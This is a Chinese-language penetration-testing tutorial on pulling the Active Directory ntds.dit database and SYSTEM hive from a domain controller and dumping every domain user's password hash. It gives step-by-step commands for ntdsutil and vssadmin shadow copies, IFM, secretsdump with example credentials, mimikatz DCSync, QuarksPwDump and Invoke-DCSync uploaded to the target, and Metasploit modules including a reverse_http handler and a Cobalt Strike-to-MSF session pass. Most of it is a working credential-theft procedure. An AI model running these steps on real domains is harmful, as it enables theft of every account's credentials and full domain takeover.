内网渗透-域控安全和跨域攻击-ntds.dit文件的提取和读取

Ntds.dit介绍

ntds.dit为ad的数据库,内容有域用户、域组、用户hash等信息,域控上的ntds.dit只有可以登录到域控的用户(如域管用户、DC本地管理员用户)可以访问。ntds.dit包括三个主要表:数据表、链接表、sd表。所以只要在域渗透中能够获取到ntds.dit就可以获取到所有域用户的用户名和对应的hash,它和SAM文件一样,被windows系统锁死

Ntds.dit位置

在域控的:C:\Windows\NTDS

在线方式提取和移动ntds.dit文件

ntdsutils.exe提取ntds.dit

ntdsutils.exe 是一个为活动目录提供管理机制的命令行工具,使用 ntdsutils.exe 可以维护和管理活动目录数据库、控制单个主机操作、创建应用程序目录分区等,该工具默认安装在域控服务器上,可以在域控制器上直接操作,支持windows server 2003、2008、2012。提取过程分为3步:

第一步:创建快照

ntdsutil.exe snapshot "activate instance ntds" create q q

直接在CS里面用使用会报错:

使用 Beacon execute-assembly / powershell 绕开低权限 shell

PowerShell 默认会继承管理员令牌

powershell ntdsutil.exe snapshot "activate instance ntds" create q q

可以看到快照的uid是 a3afcbbe-37c6-4437-beaf-aa8d70440d85,位置在:

第二步:加载快照

powershell ntdsutil.exe snapshot "mount {a3afcbbe-37c6-4437-beaf-aa8d70440d85}" q q

可以看到快照的地址为C:\SNAP_202606161607_VOLUMEC\

第三步:复制快照中的ntds.dit文件

copy '快照地址\Windows\NTDS\ntds.dit' 目标地址

copy C:\SNAP_202606161607_VOLUMEC\Windows\NTDS\ntds.dit C:\Users\administrator\Desktop\ntds\ntds.dit

第四部:删除快照

powershell ntdsutil.exe snapshot "umount {a3afcbbe-37c6-4437-beaf-aa8d70440d85}" "delete {a3afcbbe-37c6-4437-beaf-aa8d70440d85}" q q

vssadmin提取ntds.dit

vssadmin1是Windows Server 2008及Windows 7系统提供的VSS管理工具,它可以用于创建或删除卷影副本,列出卷影副本的信息(只能管理系统Provider创建的卷影副本)。还可以用于显示所有安装的所有卷影副本写入程序(writers)和提供程序(providers),以及改变卷影副本存储空间(即所谓的"diff空间")的大小等。支持的操作系统:Server 2008、Server 2012

第一步:创建快照

powershell vssadmin create shadow /for=c:

卷影副本 ID: {f8b8cc71-49e6-4e51-b334-942ac13ca932}

卷影副本卷名: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3

第二步:复制文件

shell copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\windows\NTDS\ntds.dit C:\Users\administrator\Desktop\ntds\ntds.dit

第三步:删除快照

powershell vssadmin delete shadows /for=c: /quiet

vssown提取ntds.dit

vssown.vbs和vssadmin类似,它是由Tim Tomes开发完成的,它可以创建和删除卷影副本,以及启动和停止卷影复制服务

先上传:

第一步:启动卷影复制服务

powershell cscript vssown.vbs /start

第二步:创建一个C盘的卷影副本

powershell cscript vssown.vbs /create c

第三步:列出当前卷影副本

powershell script vssown.vbs /list

第四步:复制文件:

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\windows\NTDS\ntds.dit C:\Users\Administrator\Desktop\ntds\ntds.dit

第五步:删除卷影副本

cscript vssown.vbs /delete {B267559B-57D8-4D59-B77F-890CF57BA448}

IFM

可以通过创建一个 IFM 的方式获取 ntds.dit,在使用 ntdsutil 创建媒体安装集(IFM)时,需要进行生成快照、加载、将 ntds.dit 和计算机的 SAM 文件复制到目标文件夹中等操作,这些操作也可以通过PowerShell 或 VMI 远程执行。

第一步:

ntdsutil "ac i ntds" "ifm" "create full c:/test" q q

此时 ntds.dit 将被保存在 C:\test\Active Directory 下,SYSTEN 和 SECURITY 两个文件将被保存在C:\test\registry 文件夹下

第二步:删除

rmdir /s/q C:\test

impacket

通过 impacket 里的 secretsdump.py 脚本可以直接远程读取 ntds.dit 并导出哈希值

secretsdump.exe 域名/administrator:密码@IP -outputfile output_ntds

离线方式读取ntds.dit文件

离线一般需要两步:

1、将远端域控的ntds.dit下载到本地,

2、然后利用再在本地进行。

注意:因为 system.hive 里存放着 ntds.dit 的秘钥,所以需要转储 system.hive ,不然没法查看

ntds.dit 里内容

命令如下:

reg save hklm\system c:\windows\temp\system.hive

下面介绍几种方式离线读取ntds.dit文件

esedbexport(较麻烦,了解就行)

1、我么以kali为例子,安装esedbexport

apt-get install autoconf automake autopoint libtool pkg-config

wget https://github.com/libyal/libesedb/releases/download/20210424/libesedb-experimental-20210424.tar.gz

tar zxvf libesedb-experimental-20210424.tar.gz

cd libesedb-20210424

./configure

make

make install

ldconfig

2、导出 ntds.dit,两个重要的表为:datatable以及link_table,他们都会被存放在./ntds.dit.export/文

件夹中

esedbexport -m tables ntds.dit

3、安装 ntdsxtract

git clone https://github.com/csababarta/ntdsxtract.git

cd ntdsxtract

python2 setup.py build

python2 setup.py install

如果提示 ImportError: No module named Crypto.Hash,请执行 pip install pycryptodome

4、将 ntds.dit.export 和 SYSTEM 文件放入到 ntdsxtract 工具的文件夹中,然后导出哈希值,最后的

结果将保存在 1.txt 里

python2 dsusers.py ntds.dit.export/datatable.4 ntds.dit.export/link_table.7output --syshive SYSTEM --passwordhasher --pwdformat ocl --ntoufile atout --lmoufile lmout | tee 1.txt

impacket-secretsdump.exe(重点)

将 ntds.dit.export 和 SYSTEM 文件放入到 和secretsdump.exe 同级目录下

secretsdump.exe -system system.hive -ntds ntds.dit LOCAL

位置在:"C:\Users\31979\Desktop\工具\内网\第四章-横向移动工具\工具\impacket\impacket\secretsdump.exe"

下载到本地

一开始文件大小不对,是因为他正在读文件,等他和cs里面的大小一致时,就移动到本机

将 ntds.dit.export 和 SYSTEM 文件放入到 和secretsdump.exe 同级目录下

secretsdump.exe -system system.hive -ntds ntds.dit LOCAL

成功

NTDSDump.exe

NTDSDumpEx.exe 可以进行导出哈希值的操作

文件在:"C:\Users\31979\Desktop\工具\内网\第五章-域控安全和跨域攻击\工具\NTDSDumpEx\NTDSDumpEx.exe"

.\NTDSDumpEx.exe -d ntds.dit -s system.hive -o 1.txt

如果出现:

报错 JET_errDatabaseDirtyShutdown 翻译:数据库未正常干净关闭(脏关机)

ntds.dit 是 Jet 数据库,AD 正常关机时会把内存事务刷入日志并标记干净状态;你是通过 VSS 快照 / 直接复制文件,数据库事务日志未完成收尾,工具无法直接加载 dit。

方案 1:用 ntdsutil 修复脏关机(域控本地执行,推荐)

  1. 管理员 CMD/PowerShell 进入 dit 所在目录,执行修复:

ntdsutil

activate instance ntds

files

recover

DSInternals

DSInternals是powershell脚本,可以离线读取ntds文件

安装DSInternals

导出 hash,并保存在 txt 文件里

Install-Module DSInternals -Force

导出 hash,并保存在 txt 文件里

key = Get-Bootkey -SystemHivePath 'system路径' Get-ADDBAccount -All -DBPath 'ntds路径' -Bootkey key | Out-File output_hash.txt

在线方式读取ntds.dit文件

在线的方式就是直接读取不需要在导出ntds文件,在域环境中,不要直接在线获取hash,特别是域环境

比较大的时候,在线获取hash等待时时间较长,工具占用资源太多,容易造成域控服务器崩溃

mimikatz(重点)

1、可以读取所有用户的hash

lsadump::dcsync /domain:test.com /all /csv

注意:这个命令比较危险,可能使得机器卡死,从而影响其正常业务

在红队环境中最好还是单个读取

2、也可以读取单个用户的hash

mimikatz lsadump::dcsync /domain:test.com /user:administrator

Quarks PwDump

1、上传工具到目标机器,使用命令先导出ntds文件,然后直接读取

工具位置:"C:\Users\31979\Desktop\工具\内网\第五章-域控安全和跨域攻击\工具\QuarksPwDump\QuarksPwDump.exe"

上传到对方机器

shell QuarksPwDump.exe --dump-hash-domain --ntds-file ntds.dit

运行后发现这样:

JET_errDatabaseDirtyShutdown = ntds.dit 数据库脏关机

QuarksPwDump 没有内置 Jet 数据库自动修复逻辑,直接读取未完成事务的 dit 文件就会失败;而你之前本地 Windows 运行的 Impacket secretsdump.exe 自带修复流程,所以能正常导出哈希。

  1. 用 esentutl 软修复(优先,无损)

shell esentutl /r edb /d C:\Users\administrator\Desktop

  1. 软修复失败则硬修复(会丢失未提交事务,应急用)

shell esentutl /p C:\Users\administrator\Desktop\ntds.dit

修复完成后再执行 QuarksPwDump:

shell QuarksPwDump.exe --dump-hash-domain --ntds-file ntds.dit

impacket-secretsdump.exe(重点)

使用secretsdump直接读取

secretsdump.exe 域名/administrator:密码@IP -outputfile output_ntds

例如:secretsdump.exe test/krbuser:qax!123@192.168.113.152 -outputfile 1.txt

密码里面如果出现了@,可能会和后面的@冲突,所以我刚刚临时修改了krbuser用户的密码,用于测试,最后的结果显然成功了

Invoke-DCSync(重点)

Invoke-DCSyncs是powershell脚本可以在线读取内存中的用户hash

位置:"C:\Users\31979\Desktop\工具\内网\第五章-域控安全和跨域攻击\工具\Invoke-DCSync-master\Invoke-DCSync-master\Invoke-DCSync.ps1"

依旧是先上传:

powershell Import-Module .\Invoke-DCSync.ps1;Invoke-DCSync -PWDumpFormat

MSF读取ntds.dit文件

离线读取

离线读取使用msf读取ntds文件,前提是msf必须和域控相同,我们可以使用代理技术,将msf代理到内网,然后使用msf导出ntds文件

1、使用导出模块进行导出

use auxiliary/admin/smb/psexec_ntdsgrab

2、填写相关的选项

主要有 IP,域,用户名和密码

set RHOSTS 192.168.113.152

set SMBDomain test.com

set smbuser administrator

set smbpass "qax@123"

3、运行之后 ntds和system文件会被保存到/root/.msf4/loot下

4、在相应的目录下找到该文件

5、使用相应的工具读取该文件即可

在线读取

1、开启监听

use exploit/multi/handler

set payload windows/meterpreter/reverse_http

set lhost 192.168.113.152

set lport 1234

exploit

2、将CS中上线的机器,上线到MSF

注意端口一致

spawn MSF

成功上线

3、拿到shell之后执行hashdump

如果不能执行就迁移进程到64位中

4、或者使用下面的脚本,也可以读取域内的hash

post/windows/gather/smart_hashdump